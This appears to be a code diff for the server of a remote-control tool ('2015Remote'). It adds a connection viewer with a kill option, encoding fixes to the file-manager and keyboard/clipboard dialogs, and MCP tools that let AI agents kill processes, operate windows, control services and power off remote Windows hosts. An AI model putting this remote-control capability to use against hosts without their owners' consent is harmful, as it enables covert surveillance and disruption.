+CConnectionsDlg::CConnectionsDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
+    : DialogBase(CConnectionsDlg::IDD, pParent, IOCPServer, ContextObject, IDI_CONNECTION)
+    , m_nRClickItem(-1)
+    , m_nSortColumn(-1)
+    , m_bSortAscending(true)
+{
+}
+
+CConnectionsDlg::~CConnectionsDlg()
+{
+}
+
+void CConnectionsDlg::DoDataExchange(CDataExchange* pDX)
+{
+    __super::DoDataExchange(pDX);
+    DDX_Control(pDX, IDC_LIST, m_ControlList);
+    DDX_Control(pDX, IDC_STATIC_COUNT, m_Count);
+}
+
+BEGIN_MESSAGE_MAP(CConnectionsDlg, CDialog)
+    ON_WM_CLOSE()
+    ON_WM_SIZE()
+    ON_COMMAND(ID_CONNECTION_KILL, &CConnectionsDlg::OnConnectionKill)
+    ON_COMMAND(ID_CONNECTION_REFRESH, &CConnectionsDlg::OnConnectionRefresh)
+    ON_NOTIFY(NM_RCLICK, IDC_LIST, &CConnectionsDlg::OnNMRClickList)
+    ON_NOTIFY(HDN_ITEMCLICK, 0, &CConnectionsDlg::OnHdnItemclickList)
+END_MESSAGE_MAP()
+
+
+// CConnectionsDlg 消息处理程序
+
+static CString FormatAddr(BYTE af, const uint8_t* addr)
+{
+    char buf[INET6_ADDRSTRLEN] = { 0 };
+    if (af == AF_INET) {
+        inet_ntop(AF_INET, addr, buf, INET_ADDRSTRLEN);
+    } else {
+        inet_ntop(AF_INET6, addr, buf, INET6_ADDRSTRLEN);
+    }
+    return CA2T(buf);
+}
+
+static CString TcpStateName(DWORD state)
+{
+    switch (state) {
+    case 1:  return _T("CLOSED");
+    case 2:  return _T("LISTEN");
+    case 3:  return _T("SYN_SENT");
+    case 4:  return _T("SYN_RCVD");
+    case 5:  return _T("ESTABLISHED");
+    case 6:  return _T("FIN_WAIT1");
+    case 7:  return _T("FIN_WAIT2");
+    case 8:  return _T("CLOSE_WAIT");
+    case 9:  return _T("CLOSING");
+    case 10: return _T("LAST_ACK");
+    case 11: return _T("TIME_WAIT");
+    case 12: return _T("DELETE_TCB");
+    default: return _T("-");
+    }
+}
+
+// 地址排序键：IPv4/IPv6 统一转成 16 字节定宽十六进制（前缀 4/6 区分协议族），
+// 使字符串比较等价于按地址数值排序。
+static CString AddrSortKey(uint8_t af, const uint8_t* addr)
+{
+    CString key;
+    key.Format(_T("%d:"), (af == AF_INET) ? 4 : 6);
+    for (int i = 0; i < 16; ++i)
+        key.AppendFormat(_T("%02X"), addr[i]);
+    return key;
+}
+
+BOOL CConnectionsDlg::OnInitDialog()
+{
+    __super::OnInitDialog();
+
+    SetIcon(m_hIcon, TRUE);
+    SetIcon(m_hIcon, FALSE);
+    CString strString;
+    strString.FormatL("%s - 连接管理", m_IPAddress);
+    SetWindowText(strString);
+
+    m_ControlList.SetExtendedStyle(LVS_EX_FULLROWSELECT);
+    m_ControlList.InsertColumnL(0, "协议", LVCFMT_LEFT, 50);
+    m_ControlList.InsertColumnL(1, "本地地址", LVCFMT_LEFT, 120);
+    m_ControlList.InsertColumnL(2, "本地端口", LVCFMT_LEFT, 70);
+    m_ControlList.InsertColumnL(3, "远端地址", LVCFMT_LEFT, 120);
+    m_ControlList.InsertColumnL(4, "远端端口", LVCFMT_LEFT, 70);
+    m_ControlList.InsertColumnL(5, "状态", LVCFMT_LEFT, 100);
+    m_ControlList.InsertColumnL(6, "PID", LVCFMT_LEFT, 60);
+    m_ControlList.InsertColumnL(7, "进程名", LVCFMT_LEFT, 180);
+
+    ShowConnectionList();
+    return TRUE;
+}
+
+int CConnectionsDlg::ShowConnectionList(void)
+{
+    Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0);
+    int len = tmp.GetBufferLength();
+    DeleteAllItems();
+
+    if (len < 3) {
+        CString strEmpty;
+        strEmpty.FormatL("连接数:%d", 0);
+        m_Count.SetWindowText(strEmpty);
+        return 0;
+    }
+
+    const BYTE* p = tmp.GetBuffer(0);
+    uint16_t count = 0;
+    memcpy(&count, p + 1, 2);
+    int avail = (len - 3) / (int)sizeof(ConnectionInfo);
+    if ((int)count > avail) count = (uint16_t)avail;
+
+    for (int i = 0; i < (int)count; ++i) {
+        const ConnectionInfo* info = (const ConnectionInfo*)(p + 3 + i * sizeof(ConnectionInfo));
+
+        CString strProto = (info->proto == 1) ? _T("TCP") : _T("UDP");
+        CString strLocalAddr = FormatAddr(info->af, info->localAddr);
+        CString strRemoteAddr = FormatAddr(info->af, info->remoteAddr);
+        CString strState = (info->proto == 1) ? TcpStateName(info->state) : _T("-");
+
+        CString strLocalPort, strRemotePort, strPid, strProcName;
+        strLocalPort.Format(_T("%u"), info->localPort);
+        strRemotePort.Format(_T("%u"), info->remotePort);
+        strPid.Format(_T("%u"), info->pid);
+        strProcName = CA2T(info->procName, CP_UTF8);
+
+        auto* data = new ConnItemData;
+        data->info = *info;
+        data->key[0] = strProto;
+        data->key[1] = AddrSortKey(info->af, info->localAddr);
+        data->key[2].Format(_T("%05u"), info->localPort);
+        data->key[3] = AddrSortKey(info->af, info->remoteAddr);
+        data->key[4].Format(_T("%05u"), info->remotePort);
+        data->key[5].Format(_T("%03u"), info->state);
+        data->key[6].Format(_T("%010u"), info->pid);
+        data->key[7] = strProcName;
+
+        m_ControlList.InsertItem(i, strProto);
+        m_ControlList.SetItemText(i, 1, strLocalAddr);
+        m_ControlList.SetItemText(i, 2, strLocalPort);
+        m_ControlList.SetItemText(i, 3, strRemoteAddr);
+        m_ControlList.SetItemText(i, 4, strRemotePort);
+        m_ControlList.SetItemText(i, 5, strState);
+        m_ControlList.SetItemText(i, 6, strPid);
+        m_ControlList.SetItemText(i, 7, strProcName);
+        m_ControlList.SetItemData(i, (DWORD_PTR)data);
+    }
+
+    CString strCount;
+    strCount.FormatL("连接数:%d", (int)count);
+    m_Count.SetWindowText(strCount);
+
+    return 0;
+}
+
+void CConnectionsDlg::OnClose()
+{
+    CancelIO();
+    if (IsProcessing()) {
+        ShowWindow(SW_HIDE);
+        return;
+    }
+
+    DeleteAllItems();
+
+    DialogBase::OnClose();
+}
+
+void CConnectionsDlg::DeleteAllItems()
+{
+    for (int i = 0; i < m_ControlList.GetItemCount(); i++) {
+        auto data = (ConnItemData*)m_ControlList.GetItemData(i);
+        if (data) delete data;
+    }
+    m_ControlList.DeleteAllItems();
+}
+
+void CConnectionsDlg::OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult)
+{
+    LPNMITEMACTIVATE pAct = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
+    m_nRClickItem = pAct->iItem;
+
+    bool canKill = false;
+    if (m_nRClickItem >= 0) {
+        auto* data = (ConnItemData*)m_ControlList.GetItemData(m_nRClickItem);
+        canKill = (data && data->info.proto == 1 && data->info.af == AF_INET);
+    }
+
+    CMenu Menu;
+    Menu.LoadMenu(IDR_MENU_CONNECTIONS);
+    TranslateMenu(&Menu);
+    CMenu* SubMenu = Menu.GetSubMenu(0);
+    if (SubMenu && !canKill) {
+        SubMenu->EnableMenuItem(ID_CONNECTION_KILL, MF_BYCOMMAND | MF_GRAYED);
+    }
+    CPoint Point;
+    GetCursorPos(&Point);
+    SubMenu->TrackPopupMenu(TPM_LEFTALIGN | TPM_LEFTBUTTON, Point.x, Point.y, this);
+    *pResult = 0;
+}
+
+void CConnectionsDlg::OnConnectionKill()
+{
+    if (m_nRClickItem < 0) return;
+    auto* data = (ConnItemData*)m_ControlList.GetItemData(m_nRClickItem);
+    if (!data || data->info.proto != 1 || data->info.af != AF_INET) return;
+
+    LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1 + sizeof(ConnectionInfo));
+    if (szBuffer == NULL) return;
+    szBuffer[0] = COMMAND_KILL_CONNECTION;
+    memcpy(szBuffer + 1, &data->info, sizeof(ConnectionInfo));
+    m_ContextObject->Send2Client(szBuffer, LocalSize(szBuffer));
+    LocalFree(szBuffer);
+}
+
+void CConnectionsDlg::OnConnectionRefresh()
+{
+    BYTE bToken = COMMAND_CONNECTION;
+    m_ContextObject->Send2Client(&bToken, 1);
+}
+
+void CConnectionsDlg::OnReceiveComplete(void)
+{
+    switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
+    case TOKEN_CONNECTION_LIST:
+        ShowConnectionList();
+        break;
+    default:
+        break;
+    }
+}
+
+void CConnectionsDlg::OnSize(UINT nType, int cx, int cy)
+{
+    __super::OnSize(nType, cx, cy);
+
+    if (!m_ControlList.GetSafeHwnd()) return;
+
+    CRect rc;
+    m_ControlList.GetWindowRect(&rc);
+    ScreenToClient(&rc);
+
+    m_ControlList.MoveWindow(0, 0, cx, cy, TRUE);
+}
+
+int CALLBACK CConnectionsDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort)
+{
+    auto* pSortInfo = reinterpret_cast<std::pair<int, bool>*>(lParamSort);
+    int nColumn = pSortInfo->first;
+    bool bAscending = pSortInfo->second;
+
+    auto* context1 = (ConnItemData*)lParam1;
+    auto* context2 = (ConnItemData*)lParam2;
+    CString s1 = context1->GetKey(nColumn);
+    CString s2 = context2->GetKey(nColumn);
+
+    int result = s1.Compare(s2);
+    return bAscending ? result : -result;
+}
+
+void CConnectionsDlg::SortByColumn(int nColumn)
+{
+    if (nColumn == m_nSortColumn) {
+        m_bSortAscending = !m_bSortAscending;
+    } else {
+        m_nSortColumn = nColumn;
+        m_bSortAscending = true;
+    }
+
+    std::pair<int, bool> sortInfo(m_nSortColumn, m_bSortAscending);
+    m_ControlList.SortItems(CompareFunction, reinterpret_cast<LPARAM>(&sortInfo));
+}
+
+void CConnectionsDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult)
+{
+    LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);
+    SortByColumn(pNMHeader->iItem);
+    *pResult = 0;
+}

server/2015Remote/ConnectionsDlg.h

@@ -0,0 +1,43 @@
+#pragma once
+#include "afxcmn.h"
+#include "IOCPServer.h"
+#include "afxwin.h"
+
+// CConnectionsDlg 对话框：展示受管主机当前 TCP/UDP 连接，右键可强制断开 IPv4 TCP 连接。
+
+class CConnectionsDlg : public DialogBase
+{
+    DECLARE_DYNAMIC(CConnectionsDlg)
+
+public:
+    CConnectionsDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
+    virtual ~CConnectionsDlg();
+
+    int ShowConnectionList(void);
+    void OnReceiveComplete(void);
+
+    enum { IDD = IDD_DIALOG_CONNECTIONS };
+
+protected:
+    virtual void DoDataExchange(CDataExchange* pDX);
+
+    DECLARE_MESSAGE_MAP()
+public:
+    CListCtrl m_ControlList;
+    virtual BOOL OnInitDialog();
+
+    void DeleteAllItems();
+    void SortByColumn(int nColumn);
+    afx_msg void OnClose();
+    afx_msg void OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult);
+    afx_msg void OnConnectionKill();
+    afx_msg void OnConnectionRefresh();
+    afx_msg void OnSize(UINT nType, int cx, int cy);
+    afx_msg void OnHdnItemclickList(NMHDR *pNMHDR, LRESULT *pResult);
+    static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
+
+    CStatic m_Count;
+    int m_nRClickItem;
+    int m_nSortColumn;
+    bool m_bSortAscending;
+};

server/2015Remote/FileManagerDlg.cpp

@@ -223,6 +223,27 @@ int	GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes)
     return index;
 }
 
+// 远程文件名/路径编码按 clientType 判定：Windows 走 A 接口(FindFirstFileA)=GBK/936，
+// LNX/MAC 文件系统天然 UTF-8（同 McpServer.cpp::BuildListFiles）。这里用 LVM_SETITEMTEXTW
+// 直接写宽字符串，绕开 ANSI→CP_ACP 回转，即使服务端运行在非中文 ACP 上中文名也能正常显示。
+static void SetFileTextItem(CListCtrl& list, int iItem, int iSubItem, const char* sz, UINT cp)
+{
+    std::wstring w;
+    if (sz && sz[0]) {
+        int wlen = MultiByteToWideChar(cp, 0, sz, -1, NULL, 0);
+        if (wlen > 1) {
+            w.resize(wlen - 1);
+            MultiByteToWideChar(cp, 0, sz, -1, &w[0], wlen);
+        }
+    }
+    LVITEMW lv = {};
+    lv.mask = LVIF_TEXT;
+    lv.iItem = iItem;
+    lv.iSubItem = iSubItem;
+    lv.pszText = w.empty() ? const_cast<LPWSTR>(L"") : &w[0];
+    ::SendMessageW(list.GetSafeHwnd(), LVM_SETITEMTEXTW, (WPARAM)iItem, (LPARAM)&lv);
+}
+
 BOOL CFileManagerDlg::OnInitDialog()
 {
     __super::OnInitDialog();
@@ -1104,6 +1125,9 @@ void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult)
 
 void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
 {
+    CString clientType = m_ContextObject->GetAdditionalData(RES_CLIENT_TYPE);
+    UINT cp = (clientType == _T("LNX") || clientType == _T("MAC")) ? CP_UTF8 : 936;
+
     // 重新设置ImageList
     SHFILEINFO	sfi = {};
     HIMAGELIST hImageListLarge = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_LARGEICON);
@@ -1151,7 +1175,8 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
                 pszFileName = ++pList;
 
                 if (bIsInsert) {
-                    nItem = m_list_remote.InsertItem(nItemIndex++, pszFileName, GetIconIndex(pszFileName, nType));
+                    nItem = m_list_remote.InsertItem(nItemIndex++, "", GetIconIndex(pszFileName, nType));
+                    SetFileTextItem(m_list_remote, nItem, 0, pszFileName, cp);
                     m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
                     SHFILEINFO	sfi = {};
                     SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
@@ -1184,6 +1209,9 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
 
 void CFileManagerDlg::FixedRemoteSearchFileList(BYTE *pbBuffer, DWORD dwBufferLen)
 {
+    CString clientType = m_ContextObject->GetAdditionalData(RES_CLIENT_TYPE);
+    UINT cp = (clientType == _T("LNX") || clientType == _T("MAC")) ? CP_UTF8 : 936;
+
     // 第一批结果到达时，初始化搜索列表
     if (!m_bSearching) {
         m_bSearching = true;
@@ -1241,7 +1269,8 @@ void CFileManagerDlg::FixedRemoteSearchFileList(BYTE *pbBuffer, DWORD dwBufferLe
                 }
             }
 
-            int nItem = m_list_remote.InsertItem(m_nSearchResultCount, csFileName, nIcon);
+            int nItem = m_list_remote.InsertItem(m_nSearchResultCount, "", nIcon);
+            SetFileTextItem(m_list_remote, nItem, 0, csFileName, cp);
             m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
 
             pList += lstrlen(pszFullPath) + 1;
@@ -1261,7 +1290,7 @@ void CFileManagerDlg::FixedRemoteSearchFileList(BYTE *pbBuffer, DWORD dwBufferLe
             m_list_remote.SetItemText(nItem, 2, time.FormatL("%Y-%m-%d %H:%M"));
 
             // 路径
-            m_list_remote.SetItemText(nItem, 3, csDir);
+            SetFileTextItem(m_list_remote, nItem, 3, csDir, cp);
 
             pList += 16;
             m_nSearchResultCount++;

server/2015Remote/HideScreenSpyDlg.cpp

@@ -268,7 +268,7 @@ BOOL CHideScreenSpyDlg::OnInitDialog()
 #ifdef _DEBUG
     // ShowWindow(SW_MINIMIZE);
 #endif
-    m_strTip = CString("请等待......");
+    m_strTip = _TR("请等待......");
     return TRUE;  // return TRUE unless you set the focus to a control
     // EXCEPTION: OCX Property Pages should return FALSE
 }

server/2015Remote/HostJson.cpp

@@ -69,8 +69,9 @@ Json::Value BuildHostJson(context* ctx, _ClientList* clientMap) {
     CString os = ctx->GetClientData(ONLINELIST_OS);
     device["os"] = AnsiToUtf8(os);
 
+    // 地理位置已统一按 UTF-8 存储（见 AddList），直接透传，不再 CP_ACP→UTF-8 二次转换。
     CString location = ctx->GetClientData(ONLINELIST_LOCATION);
-    device["location"] = AnsiToUtf8(location);
+    device["location"] = std::string(location.GetString());
 
     CString rtt = ctx->GetClientData(ONLINELIST_PING);
     device["rtt"] = AnsiToUtf8(rtt);

server/2015Remote/KeyBoardDlg.cpp

@@ -123,6 +123,9 @@ BOOL CKeyBoardDlg::OnInitDialog()
     // 后，控件内部以 Unicode 存储，W 版消息直通，不再走 CP_ACP。
     // -----------------------------------------------------------------
     RebuildEdit(m_edit);
+    // 剪切板显示框同样重建为 Unicode 控件，ShowClipboardText 全程走 W 版消息，
+    // 否则 MBCS 下 SetWindowTextA 会在 A<->W 边界按 CP_ACP 转码，中文丢失。
+    RebuildEdit(m_EditClipText);
 
     m_edit.SetLimitText(MAXDWORD); // 设置最大长度
     auto rule = utf8_to_ansi((char*)m_TextRule.param);
@@ -171,9 +174,19 @@ void CKeyBoardDlg::OnReceiveComplete()
 LRESULT CKeyBoardDlg::ShowClipboardText(WPARAM wParam, LPARAM lParam)
 {
     char* buf = (char*)wParam;
-    std::string text = utf8_to_ansi(buf);
+    // 剪切板文本是 UTF-8（client/my_clip.h 的 clip::get_text 从 CF_UNICODETEXT 转出）。
+    // 直接转宽字符串，用 W 版写入重建后的 Unicode 控件，绕开 utf8_to_ansi 的 CP_ACP
+    // 回转——非中文系统（德语/英语）上中文也能正常显示（与 m_edit 同法）。
+    std::wstring w;
+    if (buf && buf[0]) {
+        int wlen = MultiByteToWideChar(CP_UTF8, 0, buf, -1, NULL, 0);
+        if (wlen > 1) {
+            w.resize(wlen - 1);
+            MultiByteToWideChar(CP_UTF8, 0, buf, -1, &w[0], wlen);
+        }
+    }
     SAFE_DELETE_ARRAY(buf);
-    m_EditClipText.SetWindowTextA(text.c_str());
+    ::SetWindowTextW(m_EditClipText.GetSafeHwnd(), w.c_str());
     return S_OK;
 }
 

server/2015Remote/LangManager.h

@@ -703,12 +703,13 @@ protected:
         if (langCode == _T("zh_CN")) return _T("Simplified Chinese");
         if (langCode == _T("zh_TW")) return _T("Traditional Chinese");
         if (langCode == _T("en_US")) return _T("English");
+        if (langCode == _T("de_DE")) return _T("Deutsch");
         return langCode;
     }
 
     LPCDLGTEMPLATE CreateDialogTemplate()
     {
-        const WORD DLG_WIDTH = 200;
+        const WORD DLG_WIDTH = 260;
         const WORD DLG_HEIGHT = 75;
 
         m_templateBuffer.clear();
@@ -722,24 +723,24 @@ protected:
         AppendData(&dlgTemplate, sizeof(DLGTEMPLATE));
         AppendWord(0);  // 菜单
         AppendWord(0);  // 窗口类
-        AppendString(_T("Select Language"));
+        AppendString(_T("切换语言"));
         AlignToDword();
 
         // 静态文本
-        AddControl(0x0082, 15, 15, 50, 12, (WORD)-1,
-                   SS_LEFT | WS_CHILD | WS_VISIBLE, _T("Language:"));
+        AddControl(0x0082, 15, 15, 50, 12, 1002,
+                   SS_LEFT | WS_CHILD | WS_VISIBLE, _T("语言:"));
 
         // ComboBox
-        AddControl(0x0085, 65, 13, 120, 150, 1001,
+        AddControl(0x0085, 65, 13, 180, 150, 1001,
                    CBS_DROPDOWNLIST | WS_CHILD | WS_VISIBLE | WS_TABSTOP | WS_VSCROLL, _T(""));
 
         // OK 按钮
-        AddControl(0x0080, 45, 50, 50, 14, IDOK,
-                   BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("OK"));
+        AddControl(0x0080, 75, 50, 50, 14, IDOK,
+                   BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("确定"));
 
         // Cancel 按钮
-        AddControl(0x0080, 105, 50, 50, 14, IDCANCEL,
-                   BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("Cancel"));
+        AddControl(0x0080, 135, 50, 50, 14, IDCANCEL,
+                   BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("取消"));
 
         return (LPCDLGTEMPLATE)m_templateBuffer.data();
     }
@@ -795,8 +796,17 @@ protected:
     {
         CDialog::OnInitDialog();
 
-        // 翻译对话框控件（标题、标签、按钮）
-        TranslateDialog(this);
+        // 模板为动态构造的 Unicode 模板，MBCS 下被 ANSI 创建路径误读，标题/标签/按钮文字会乱码，
+        // 故在此显式设置（走线程 locale GBK，与其它对话框同法），不再对已乱码文本调用 TranslateDialog。
+        // 标题含中文：非中文系统上 ANSI 消息按系统 ACP 解码会乱码，用 _TR 取翻译（中文→切换语言，
+        // 英语→Switch Language）后，显式 GBK(936)→Unicode 转换再用 Unicode 消息设置（与工具栏同法）。
+        CString strTitle = _TR("切换语言");
+        WCHAR wTitle[64] = { 0 };
+        MultiByteToWideChar(936, 0, strTitle, -1, wTitle, 64);
+        ::SetWindowTextW(m_hWnd, wTitle);
+        SetDlgItemText(1002,     _TR("语言:"));
+        SetDlgItemText(IDOK,     _TR("确定"));
+        SetDlgItemText(IDCANCEL, _TR("取消"));
 
         m_comboLang.SubclassDlgItem(1001, this);
 

server/2015Remote/McpServer.cpp

@@ -840,6 +840,129 @@ Json::Value BuildServiceListOutputSchema() {
     return schema;
 }
 
+// ========== P7 输入/输出 schema ==========
+
+// 公共：为 props 追加必填的 id 字符串属性。
+static void AddIdRequiredProp(Json::Value& props) {
+    Json::Value idProp(Json::objectValue);
+    idProp["type"] = "string";
+    idProp["description"] = u8"主机 id，取 list_online_hosts / search_hosts 返回的 id 字段";
+    props["id"] = idProp;
+}
+
+// 公共：组装 {id, ...额外必填} 的 object schema。
+static Json::Value FinalizeIdSchema(Json::Value props, std::initializer_list<const char*> extraRequired) {
+    Json::Value schema(Json::objectValue);
+    schema["type"] = "object";
+    schema["properties"] = props;
+    Json::Value required(Json::arrayValue);
+    required.append("id");
+    for (const char* r : extraRequired) required.append(r);
+    schema["required"] = required;
+    return schema;
+}
+
+// 公共：{ ok: boolean } 输出 schema（operate_window / control_service / power_action 共用）。
+static Json::Value BuildOkOutputSchema() {
+    Json::Value props(Json::objectValue);
+    Json::Value ok(Json::objectValue);
+    ok["type"] = "boolean";
+    props["ok"] = ok;
+    Json::Value schema(Json::objectValue);
+    schema["type"] = "object";
+    schema["properties"] = props;
+    return schema;
+}
+
+Json::Value BuildKillProcessInputSchema() {
+    Json::Value props(Json::objectValue);
+    AddIdRequiredProp(props);
+
+    Json::Value pidsProp(Json::objectValue);
+    pidsProp["type"] = "array";
+    Json::Value pidItems(Json::objectValue);
+    pidItems["type"] = "integer";
+    pidsProp["items"] = pidItems;
+    pidsProp["description"] = u8"要终止的进程 PID 列表（至少 1 个）";
+    props["pids"] = pidsProp;
+
+    return FinalizeIdSchema(props, { "pids" });
+}
+
+Json::Value BuildKillProcessOutputSchema() {
+    Json::Value props(Json::objectValue);
+    Json::Value remProp(Json::objectValue);
+    remProp["type"] = "array";
+    Json::Value remItems(Json::objectValue);
+    remItems["type"] = "integer";
+    remProp["items"] = remItems;
+    remProp["description"] = u8"杀完后仍在运行的 PID（含权限不足未能终止的）";
+    props["remaining"] = remProp;
+
+    Json::Value schema(Json::objectValue);
+    schema["type"] = "object";
+    schema["properties"] = props;
+    return schema;
+}
+
+Json::Value BuildOperateWindowInputSchema() {
+    Json::Value props(Json::objectValue);
+    AddIdRequiredProp(props);
+
+    Json::Value hwndProp(Json::objectValue);
+    hwndProp["type"] = "integer";
+    hwndProp["description"] = u8"窗口句柄，取 list_windows 返回的 hwnd 字段";
+    props["hwnd"] = hwndProp;
+
+    Json::Value actionProp(Json::objectValue);
+    actionProp["type"] = "string";
+    actionProp["description"] = u8"操作：close(关闭) | show(显示) | hide(隐藏) | minimize(最小化) | maximize(最大化) | restore(还原)";
+    props["action"] = actionProp;
+
+    return FinalizeIdSchema(props, { "hwnd", "action" });
+}
+
+Json::Value BuildOperateWindowOutputSchema() {
+    return BuildOkOutputSchema();
+}
+
+Json::Value BuildControlServiceInputSchema() {
+    Json::Value props(Json::objectValue);
+    AddIdRequiredProp(props);
+
+    Json::Value nameProp(Json::objectValue);
+    nameProp["type"] = "string";
+    nameProp["description"] = u8"服务名，取 list_services 返回的 service_name 字段";
+    props["service_name"] = nameProp;
+
+    Json::Value actionProp(Json::objectValue);
+    actionProp["type"] = "string";
+    actionProp["description"] = u8"操作：start(启动) | stop(停止) | set_auto(设为自动) | set_manual(设为手动)";
+    props["action"] = actionProp;
+
+    return FinalizeIdSchema(props, { "service_name", "action" });
+}
+
+Json::Value BuildControlServiceOutputSchema() {
+    return BuildOkOutputSchema();
+}
+
+Json::Value BuildPowerActionInputSchema() {
+    Json::Value props(Json::objectValue);
+    AddIdRequiredProp(props);
+
+    Json::Value actionProp(Json::objectValue);
+    actionProp["type"] = "string";
+    actionProp["description"] = u8"操作：logout(注销) | shutdown(关机) | reboot(重启)";
+    props["action"] = actionProp;
+
+    return FinalizeIdSchema(props, { "action" });
+}
+
+Json::Value BuildPowerActionOutputSchema() {
+    return BuildOkOutputSchema();
+}
+
 // list_registry 的 inputSchema（id 必填，path 可选；path 缺省/空 = 列根键）
 Json::Value BuildListRegistryInputSchema() {
     Json::Value props(Json::objectValue);
@@ -1163,6 +1286,20 @@ Json::Value BuildUploadFileOutputSchema();
 std::string BuildUploadFile(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent);
 std::string BuildRemoteClipboard(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent);
 
+// ===== P7 前置声明（定义见下方「tools/call 分派」前）=====
+Json::Value BuildKillProcessInputSchema();
+Json::Value BuildKillProcessOutputSchema();
+Json::Value BuildOperateWindowInputSchema();
+Json::Value BuildOperateWindowOutputSchema();
+Json::Value BuildControlServiceInputSchema();
+Json::Value BuildControlServiceOutputSchema();
+Json::Value BuildPowerActionInputSchema();
+Json::Value BuildPowerActionOutputSchema();
+std::string BuildKillProcess(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent);
+std::string BuildOperateWindow(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent);
+std::string BuildControlService(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent);
+std::string BuildPowerAction(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent);
+
 // tools/list
 std::string BuildToolsListResult(const Json::Value& id) {
     Json::Value result(Json::objectValue);
@@ -1433,6 +1570,43 @@ std::string BuildToolsListResult(const Json::Value& id) {
         tools.append(tool);
     }
 
+    // 18) kill_process / operate_window / control_service / power_action（P7：设备管理控制，
+    //     仅 Windows，安全门：McpManage=1 且 McpReadonly=0）
+    if (CMcpServer::Instance().IsManageEnabled() && !CMcpServer::Instance().IsReadonly()) {
+        {
+            Json::Value tool(Json::objectValue);
+            tool["name"] = "kill_process";
+            tool["description"] = u8"终止指定在线 Windows 主机上的一个或多个进程（TerminateProcess 强制结束，不保存进程状态，可能造成数据丢失）。返回 remaining（杀完后仍在运行的 PID）。不可撤销，请谨慎确认 PID。";
+            tool["inputSchema"] = BuildKillProcessInputSchema();
+            tool["outputSchema"] = BuildKillProcessOutputSchema();
+            tools.append(tool);
+        }
+        {
+            Json::Value tool(Json::objectValue);
+            tool["name"] = "operate_window";
+            tool["description"] = u8"对指定在线 Windows 主机的窗口执行操作：close(关闭)/show(显示)/hide(隐藏)/minimize(最小化)/maximize(最大化)/restore(还原)。hwnd 取 list_windows 返回的 hwnd。ok 仅表示已下发（窗口句柄可能已失效）。";
+            tool["inputSchema"] = BuildOperateWindowInputSchema();
+            tool["outputSchema"] = BuildOperateWindowOutputSchema();
+            tools.append(tool);
+        }
+        {
+            Json::Value tool(Json::objectValue);
+            tool["name"] = "control_service";
+            tool["description"] = u8"控制指定在线 Windows 主机的服务：start(启动)/stop(停止)/set_auto(设为自动)/set_manual(设为手动)。service_name 取 list_services 返回的 service_name。ok 仅表示已下发（成功与否需再查 list_services 核对状态）。";
+            tool["inputSchema"] = BuildControlServiceInputSchema();
+            tool["outputSchema"] = BuildControlServiceOutputSchema();
+            tools.append(tool);
+        }
+        {
+            Json::Value tool(Json::objectValue);
+            tool["name"] = "power_action";
+            tool["description"] = u8"对指定在线 Windows 主机执行电源操作：logout(注销)/shutdown(关机)/reboot(重启)。不可撤销，主机将立即下线；需客户端管理员权限。";
+            tool["inputSchema"] = BuildPowerActionInputSchema();
+            tool["outputSchema"] = BuildPowerActionOutputSchema();
+            tools.append(tool);
+        }
+    }
+
     result["tools"] = tools;
     return BuildResult(id, result);
 }
@@ -4175,6 +4349,332 @@ std::string BuildUploadFile(const Json::Value& id, const Json::Value& args, CMy2
     return BuildError(id, -32001, msg);
 }
 
+// ========== P7：设备管理控制 ==========
+
+// 读取 JSON number 或纯数字字符串为 uint64。
+static bool ReadUInt64(const Json::Value& v, uint64_t& out) {
+    if (v.isNumeric()) { out = v.asUInt64(); return true; }
+    if (v.isString()) {
+        std::string s = v.asString();
+        if (IsDigits(s)) { out = strtoull(s.c_str(), nullptr, 10); return true; }
+    }
+    return false;
+}
+
+static bool ReadUInt64Arg(const Json::Value& args, const char* key, uint64_t& out) {
+    if (!args.isMember(key)) return false;
+    return ReadUInt64(args[key], out);
+}
+
+// 写审计（杀进程/窗口/服务/电源共用）：PostMessageA 落到服务端消息/审计日志（不可关闭）。
+static void AuditManageAction(CMy2015RemoteDlg* parent, uint64_t devId,
+                              const std::string& tool, const std::string& detail) {
+    if (!parent) return;
+    std::string text = "host " + std::to_string(devId) + " " + tool + ": " + detail;
+    parent->PostMessageA(WM_SHOWERRORMSG,
+        (WPARAM)new CString(ToAnsi(text, 936).c_str()),
